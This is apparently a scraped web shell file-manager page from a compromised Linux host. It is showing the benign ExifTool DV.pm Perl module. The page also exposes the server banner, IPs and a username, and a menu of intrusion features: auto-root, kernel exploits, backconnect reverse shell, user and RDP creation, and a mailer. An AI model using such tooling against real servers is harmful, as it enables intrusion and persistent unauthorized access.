Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Image /
ExifTool /
[ HOME SHELL ]
Name
Size
Permission
Action
Charset
[ DIR ]
drwxr-xr-x
Lang
[ DIR ]
drwxr-xr-x
AES.pm
18.66
KB
-rw-r--r--
AFCP.pm
10.38
KB
-rw-r--r--
AIFF.pm
9.59
KB
-rw-r--r--
APE.pm
9.06
KB
-rw-r--r--
APP12.pm
10.44
KB
-rw-r--r--
ASF.pm
30.21
KB
-rw-r--r--
Apple.pm
5.43
KB
-rw-r--r--
Audible.pm
11.52
KB
-rw-r--r--
BMP.pm
10.45
KB
-rw-r--r--
BPG.pm
7.53
KB
-rw-r--r--
BZZ.pm
17.46
KB
-rw-r--r--
BigTIFF.pm
11.27
KB
-rw-r--r--
BuildTagLookup.pm
121.94
KB
-rw-r--r--
CBOR.pm
11.51
KB
-rw-r--r--
Canon.pm
375.39
KB
-rw-r--r--
CanonCustom.pm
84.32
KB
-rw-r--r--
CanonRaw.pm
29.68
KB
-rw-r--r--
CanonVRD.pm
75.2
KB
-rw-r--r--
CaptureOne.pm
7.85
KB
-rw-r--r--
Casio.pm
62.21
KB
-rw-r--r--
Charset.pm
16.01
KB
-rw-r--r--
DICOM.pm
245.09
KB
-rw-r--r--
DJI.pm
6.31
KB
-rw-r--r--
DNG.pm
31.59
KB
-rw-r--r--
DPX.pm
9.51
KB
-rw-r--r--
DV.pm
9.75
KB
-rw-r--r--
DarwinCore.pm
15.43
KB
-rw-r--r--
DjVu.pm
12.46
KB
-rw-r--r--
EXE.pm
50.3
KB
-rw-r--r--
Exif.pm
246.64
KB
-rw-r--r--
FITS.pm
5.73
KB
-rw-r--r--
FLAC.pm
9.89
KB
-rw-r--r--
FLIF.pm
11.65
KB
-rw-r--r--
FLIR.pm
59.45
KB
-rw-r--r--
Fixup.pm
12.43
KB
-rw-r--r--
Flash.pm
27.5
KB
-rw-r--r--
FlashPix.pm
87.44
KB
-rw-r--r--
Font.pm
27.34
KB
-rw-r--r--
FotoStation.pm
7.97
KB
-rw-r--r--
FujiFilm.pm
54.47
KB
-rw-r--r--
GE.pm
2
KB
-rw-r--r--
GIF.pm
21.85
KB
-rw-r--r--
GIMP.pm
8.35
KB
-rw-r--r--
GPS.pm
19.53
KB
-rw-r--r--
GeoTiff.pm
87.51
KB
-rw-r--r--
Geotag.pm
62.87
KB
-rw-r--r--
GoPro.pm
28
KB
-rw-r--r--
H264.pm
39.29
KB
-rw-r--r--
HP.pm
8
KB
-rw-r--r--
HTML.pm
22.1
KB
-rw-r--r--
HtmlDump.pm
32.8
KB
-rw-r--r--
ICC_Profile.pm
45.63
KB
-rw-r--r--
ID3.pm
56.91
KB
-rw-r--r--
IPTC.pm
39.54
KB
-rw-r--r--
ISO.pm
6.81
KB
-rw-r--r--
ITC.pm
6.63
KB
-rw-r--r--
Import.pm
12.83
KB
-rw-r--r--
InDesign.pm
10.4
KB
-rw-r--r--
JPEG.pm
24.3
KB
-rw-r--r--
JPEGDigest.pm
212.38
KB
-rw-r--r--
JSON.pm
6.15
KB
-rw-r--r--
JVC.pm
3.57
KB
-rw-r--r--
Jpeg2000.pm
49.65
KB
-rw-r--r--
Kodak.pm
120.47
KB
-rw-r--r--
KyoceraRaw.pm
4.31
KB
-rw-r--r--
LIF.pm
4.66
KB
-rw-r--r--
LNK.pm
22.02
KB
-rw-r--r--
Leaf.pm
16.34
KB
-rw-r--r--
Lytro.pm
7.56
KB
-rw-r--r--
M2TS.pm
37.11
KB
-rw-r--r--
MIE.pm
102.09
KB
-rw-r--r--
MIEUnits.pod
13.68
KB
-rw-r--r--
MIFF.pm
9.05
KB
-rw-r--r--
MNG.pm
16.22
KB
-rw-r--r--
MOI.pm
4.14
KB
-rw-r--r--
MPC.pm
4.05
KB
-rw-r--r--
MPEG.pm
22.32
KB
-rw-r--r--
MPF.pm
8.94
KB
-rw-r--r--
MRC.pm
18.39
KB
-rw-r--r--
MWG.pm
30.64
KB
-rw-r--r--
MXF.pm
252.65
KB
-rw-r--r--
MacOS.pm
30.7
KB
-rw-r--r--
MakerNotes.pm
68.93
KB
-rw-r--r--
Matroska.pm
34.44
KB
-rw-r--r--
Microsoft.pm
52.13
KB
-rw-r--r--
Minolta.pm
99.93
KB
-rw-r--r--
MinoltaRaw.pm
16.49
KB
-rw-r--r--
Motorola.pm
5.31
KB
-rw-r--r--
Nikon.pm
431.96
KB
-rw-r--r--
NikonCapture.pm
28.13
KB
-rw-r--r--
NikonCustom.pm
290.78
KB
-rw-r--r--
NikonSettings.pm
71.88
KB
-rw-r--r--
Nintendo.pm
3.24
KB
-rw-r--r--
OOXML.pm
13.61
KB
-rw-r--r--
Ogg.pm
8.81
KB
-rw-r--r--
Olympus.pm
139.89
KB
-rw-r--r--
OpenEXR.pm
10.26
KB
-rw-r--r--
Opus.pm
2.22
KB
-rw-r--r--
Other.pm
2.63
KB
-rw-r--r--
PCX.pm
3.72
KB
-rw-r--r--
PDF.pm
90.77
KB
-rw-r--r--
PGF.pm
4.04
KB
-rw-r--r--
PICT.pm
33.2
KB
-rw-r--r--
PLIST.pm
17.07
KB
-rw-r--r--
PLUS.pm
147.71
KB
-rw-r--r--
PNG.pm
60.72
KB
-rw-r--r--
PPM.pm
4.97
KB
-rw-r--r--
PSP.pm
9.02
KB
-rw-r--r--
Palm.pm
11.9
KB
-rw-r--r--
Panasonic.pm
96.62
KB
-rw-r--r--
PanasonicRaw.pm
31.77
KB
-rw-r--r--
Parrot.pm
20.95
KB
-rw-r--r--
Pentax.pm
220.46
KB
-rw-r--r--
PhaseOne.pm
26.24
KB
-rw-r--r--
PhotoCD.pm
18.25
KB
-rw-r--r--
PhotoMechanic.pm
8.09
KB
-rw-r--r--
Photoshop.pm
43.36
KB
-rw-r--r--
PostScript.pm
29.11
KB
-rw-r--r--
PrintIM.pm
3.44
KB
-rw-r--r--
Qualcomm.pm
43.43
KB
-rw-r--r--
QuickTime.pm
409.72
KB
-rw-r--r--
QuickTimeStream.pl
126.03
KB
-rw-r--r--
RIFF.pm
70.97
KB
-rw-r--r--
RSRC.pm
9.58
KB
-rw-r--r--
RTF.pm
13.46
KB
-rw-r--r--
Radiance.pm
4.56
KB
-rw-r--r--
Rawzor.pm
6.17
KB
-rw-r--r--
Real.pm
26.89
KB
-rw-r--r--
Reconyx.pm
14.2
KB
-rw-r--r--
Red.pm
10.82
KB
-rw-r--r--
Ricoh.pm
37.18
KB
-rw-r--r--
Samsung.pm
54.64
KB
-rw-r--r--
Sanyo.pm
11.83
KB
-rw-r--r--
Scalado.pm
3.91
KB
-rw-r--r--
Shift.pl
23.28
KB
-rw-r--r--
Shortcuts.pm
9.81
KB
-rw-r--r--
Sigma.pm
33.16
KB
-rw-r--r--
SigmaRaw.pm
23.45
KB
-rw-r--r--
Sony.pm
439.69
KB
-rw-r--r--
SonyIDC.pm
11.95
KB
-rw-r--r--
Stim.pm
4.53
KB
-rw-r--r--
TagInfoXML.pm
33.14
KB
-rw-r--r--
TagLookup.pm
647.18
KB
-rw-r--r--
TagNames.pod
1.76
MB
-rw-r--r--
Text.pm
8.12
KB
-rw-r--r--
Theora.pm
3.41
KB
-rw-r--r--
Torrent.pm
11.58
KB
-rw-r--r--
Unknown.pm
1.69
KB
-rw-r--r--
VCard.pm
17.31
KB
-rw-r--r--
Validate.pm
29.75
KB
-rw-r--r--
Vorbis.pm
8.13
KB
-rw-r--r--
WTV.pm
12.97
KB
-rw-r--r--
WriteCanonRaw.pl
24.29
KB
-rw-r--r--
WriteExif.pl
130.6
KB
-rw-r--r--
WriteIPTC.pl
29.6
KB
-rw-r--r--
WritePDF.pl
29.02
KB
-rw-r--r--
WritePNG.pl
16.07
KB
-rw-r--r--
WritePhotoshop.pl
10.85
KB
-rw-r--r--
WritePostScript.pl
26.71
KB
-rw-r--r--
WriteQuickTime.pl
89.63
KB
-rw-r--r--
WriteXMP.pl
70.49
KB
-rw-r--r--
Writer.pl
301.76
KB
-rw-r--r--
XMP.pm
176.89
KB
-rw-r--r--
XMP2.pl
81.66
KB
-rw-r--r--
XMPStruct.pl
36.66
KB
-rw-r--r--
ZIP.pm
27.61
KB
-rw-r--r--
ZISRAW.pm
7.85
KB
-rw-r--r--
iWork.pm
7.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DV.pm
#------------------------------------------------------------------------------ # File: DV.pm # # Description: Read DV meta information # # Revisions: 2010/12/24 - P. Harvey Created # # References: 1) http://www.ffmpeg.org/ # 2) http://dvswitch.alioth.debian.org/wiki/DV_format/ #------------------------------------------------------------------------------ package Image::ExifTool::DV; use strict; use vars qw($VERSION); use Image::ExifTool qw(:DataAccess :Utils); $VERSION = '1.02'; # DV profiles (ref 1) my @dvProfiles = ( { DSF => 0, VideoSType => 0x0, FrameSize => 120000, VideoFormat => 'IEC 61834, SMPTE-314M - 525/60 (NTSC)', Colorimetry => '4:1:1', FrameRate => 30000/1001, ImageHeight => 480, ImageWidth => 720, },{ DSF => 1, VideoSType => 0x0, FrameSize => 144000, VideoFormat => 'IEC 61834 - 625/50 (PAL)', Colorimetry => '4:2:0', FrameRate => 25/1, ImageHeight => 576, ImageWidth => 720, },{ DSF => 1, VideoSType => 0x0, FrameSize => 144000, VideoFormat => 'SMPTE-314M - 625/50 (PAL)', Colorimetry => '4:1:1', FrameRate => 25/1, ImageHeight => 576, ImageWidth => 720, },{ DSF => 0, VideoSType => 0x4, FrameSize => 240000, VideoFormat => 'DVCPRO50: SMPTE-314M - 525/60 (NTSC) 50 Mbps', Colorimetry => '4:2:2', FrameRate => 30000/1001, ImageHeight => 480, ImageWidth => 720, },{ DSF => 1, VideoSType => 0x4, FrameSize => 288000, VideoFormat => 'DVCPRO50: SMPTE-314M - 625/50 (PAL) 50 Mbps', Colorimetry => '4:2:2', FrameRate => 25/1, ImageHeight => 576, ImageWidth => 720, },{ DSF => 0, VideoSType => 0x14, FrameSize => 480000, VideoFormat => 'DVCPRO HD: SMPTE-370M - 1080i60 100 Mbps', Colorimetry => '4:2:2', FrameRate => 30000/1001, ImageHeight => 1080, ImageWidth => 1280, },{ DSF => 1, VideoSType => 0x14, FrameSize => 576000, VideoFormat => 'DVCPRO HD: SMPTE-370M - 1080i50 100 Mbps', Colorimetry => '4:2:2', FrameRate => 25/1, ImageHeight => 1080, ImageWidth => 1440, },{ DSF => 0, VideoSType => 0x18, FrameSize => 240000, VideoFormat => 'DVCPRO HD: SMPTE-370M - 720p60 100 Mbps', Colorimetry => '4:2:2', FrameRate => 60000/1001, ImageHeight => 720, ImageWidth => 960, },{ DSF => 1, VideoSType => 0x18, FrameSize => 288000, VideoFormat => 'DVCPRO HD: SMPTE-370M - 720p50 100 Mbps', Colorimetry => '4:2:2', FrameRate => 50/1, ImageHeight => 720, ImageWidth => 960, },{ DSF => 1, VideoSType => 0x1, FrameSize => 144000, VideoFormat => 'IEC 61883-5 - 625/50 (PAL)', Colorimetry => '4:2:0', FrameRate => 25/1, ImageHeight => 576, ImageWidth => 720, }, ); # tags to extract, in the order we want to extract them my @dvTags = ( 'DateTimeOriginal', 'ImageWidth', 'ImageHeight', 'Duration', 'TotalBitrate', 'VideoFormat', 'VideoScanType', 'FrameRate', 'AspectRatio', 'Colorimetry', 'AudioChannels', 'AudioSampleRate', 'AudioBitsPerSample', ); # DV tags %Image::ExifTool::DV::Main = ( GROUPS => { 2 => 'Video' }, VARS => { NO_ID => 1 }, NOTES => 'The following tags are extracted from DV videos.', DateTimeOriginal => { Description => 'Date/Time Original', Groups => { 2 => 'Time' }, PrintConv => '$self->ConvertDateTime($val)', }, ImageWidth => { }, ImageHeight => { }, Duration => { PrintConv => 'ConvertDuration($val)' }, TotalBitrate => { PrintConv => 'ConvertBitrate($val)' }, VideoFormat => { }, VideoScanType => { }, FrameRate => { PrintConv => 'int($val * 1000 + 0.5) / 1000' }, AspectRatio => { }, Colorimetry => { }, AudioChannels => { Groups => { 2 => 'Audio' } }, AudioSampleRate => { Groups => { 2 => 'Audio' } }, AudioBitsPerSample => { Groups => { 2 => 'Audio' } }, ); #------------------------------------------------------------------------------ # Read information in a DV file (ref 1) # Inputs: 0) ExifTool ref, 1) dirInfo ref # Returns: 1 on success, 0 if this wasn't a valid DV file sub ProcessDV($$) { my ($et, $dirInfo) = @_; local $_; my $raf = $$dirInfo{RAF}; my ($buff, $start, $profile, $tag, $i, $j); $raf->Read($buff, 12000) or return 0; if ($buff =~ /\x1f\x07\0[\x3f\xbf]/sg) { $start = pos($buff) - 4; } else { while ($buff =~ /[\0\xff]\x3f\x07\0.{76}\xff\x3f\x07\x01/sg) { next if pos($buff) - 163 < 0; $start = pos($buff) - 163; last; } return 0 unless defined $start; } my $len = length $buff; # must at least have a full DIF header return 0 if $start + 80 * 6 > $len; $et->SetFileType(); my $pos = $start; my $dsf = (Get8u(\$buff, $pos + 3) & 0x80) >> 7; my $stype = Get8u(\$buff, $pos + 80*5 + 48 + 3) & 0x1f; # 576i50 25Mbps 4:1:1 is a special case if ($dsf == 1 && $stype == 0 && Get8u(\$buff, 4) & 0x07) { $profile = $dvProfiles[2]; } else { foreach (@dvProfiles) { next unless $dsf == $$_{DSF} and $stype == $$_{VideoSType}; $profile = $_; last; } $profile or $et->Warn("Unrecognized DV profile"), return 1; } my $tagTablePtr = GetTagTable('Image::ExifTool::DV::Main'); # calculate total bit rate and duration my $byteRate = $$profile{FrameSize} * $$profile{FrameRate}; my $fileSize = $$et{VALUE}{FileSize}; $$profile{TotalBitrate} = 8 * $byteRate; $$profile{Duration} = $fileSize / $byteRate if defined $fileSize; # read DVPack metadata from the VAUX DIF's to extract video tags delete $$profile{DateTimeOriginal}; delete $$profile{AspectRatio}; delete $$profile{VideoScanType}; my ($date, $time, $is16_9, $interlace); for ($i=1; $i<6; ++$i) { $pos += 80; my $type = Get8u(\$buff, $pos); next unless ($type & 0xf0) == 0x50; # look for VAUX types for ($j=0; $j<15; ++$j) { my $p = $pos + $j * 5 + 3; $type = Get8u(\$buff, $p); if ($type == 0x61) { # video control my $apt = Get8u(\$buff, $start + 4) & 0x07; my $t = Get8u(\$buff, $p + 2); $is16_9 = (($t & 0x07) == 0x02 or (not $apt and ($t & 0x07) == 0x07)); $interlace = Get8u(\$buff, $p + 3) & 0x10; # (ref 2) } elsif ($type == 0x62) { # date # mask off unused bits my @d = unpack('C*', substr($buff, $p + 1, 4)); # (ignore timezone in byte 0 until we can test this properly - see ref 2) $date = sprintf('%.2x:%.2x:%.2x', $d[3], $d[2] & 0x1f, $d[1] & 0x3f); if ($date =~ /[a-f]/) { undef $date; # invalid date } else { # add century (this will work until 2089) $date = ($date lt '9' ? '20' : '19') . $date; } undef $time; } elsif ($type == 0x63 and $date) { # time # (ignore frames past second in byte 0 for now - see ref 2) my $val = Get32u(\$buff, $p + 1) & 0x007f7f3f; my @t = unpack('C*', substr($buff, $p + 1, 4)); $time = sprintf('%.2x:%.2x:%.2x', $t[3] & 0x3f, $t[2] & 0x7f, $t[1] & 0x7f); last; } else { undef $time; # must be consecutive } } } if ($date and $time) { $$profile{DateTimeOriginal} = "$date $time"; if (defined $is16_9) { $$profile{AspectRatio} = $is16_9 ? '16:9' : '4:3'; $$profile{VideoScanType} = $interlace ? 'Interlaced' : 'Progressive'; } } # read audio tags if available delete $$profile{AudioSampleRate}; delete $$profile{AudioBitsPerSample}; delete $$profile{AudioChannels}; $pos = $start + 80*6 + 80*16*3 + 3; if ($pos + 4 < $len and Get8u(\$buff, $pos) == 0x50) { my $smpls = Get8u(\$buff, $pos + 1); my $freq = (Get8u(\$buff, $pos + 4) >> 3) & 0x07; my $stype = Get8u(\$buff, $pos + 3) & 0x1f; my $quant = Get8u(\$buff, $pos + 4) & 0x07; if ($freq < 3) { $$profile{AudioSampleRate} = {0=>48000, 1=>44100, 2=>32000}->{$freq}; } if ($stype < 3) { $stype = 2 if $stype == 0 and $quant and $freq == 2; $$profile{AudioChannels} = {0=>2, 1=>0, 2=>4, 3=>8}->{$stype}; } $$profile{AudioBitsPerSample} = $quant ? 12 : 16; } # save our metadata foreach $tag (@dvTags) { next unless defined $$profile{$tag}; $et->HandleTag($tagTablePtr, $tag, $$profile{$tag}); } return 1; } 1; # end __END__ =head1 NAME Image::ExifTool::DV - Read DV meta information =head1 SYNOPSIS This module is used by Image::ExifTool =head1 DESCRIPTION This module contains definitions required by Image::ExifTool to read meta information from DV (raw Digital Video) files. =head1 AUTHOR Copyright 2003-2022, Phil Harvey (philharvey66 at gmail.com) This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 REFERENCES =over 4 =item L<http://ffmpeg.org/> =item L<http://dvswitch.alioth.debian.org/wiki/DV_format/> =back =head1 SEE ALSO L<Image::ExifTool::TagNames/DV Tags>, L<Image::ExifTool(3pm)|Image::ExifTool> =cut
Close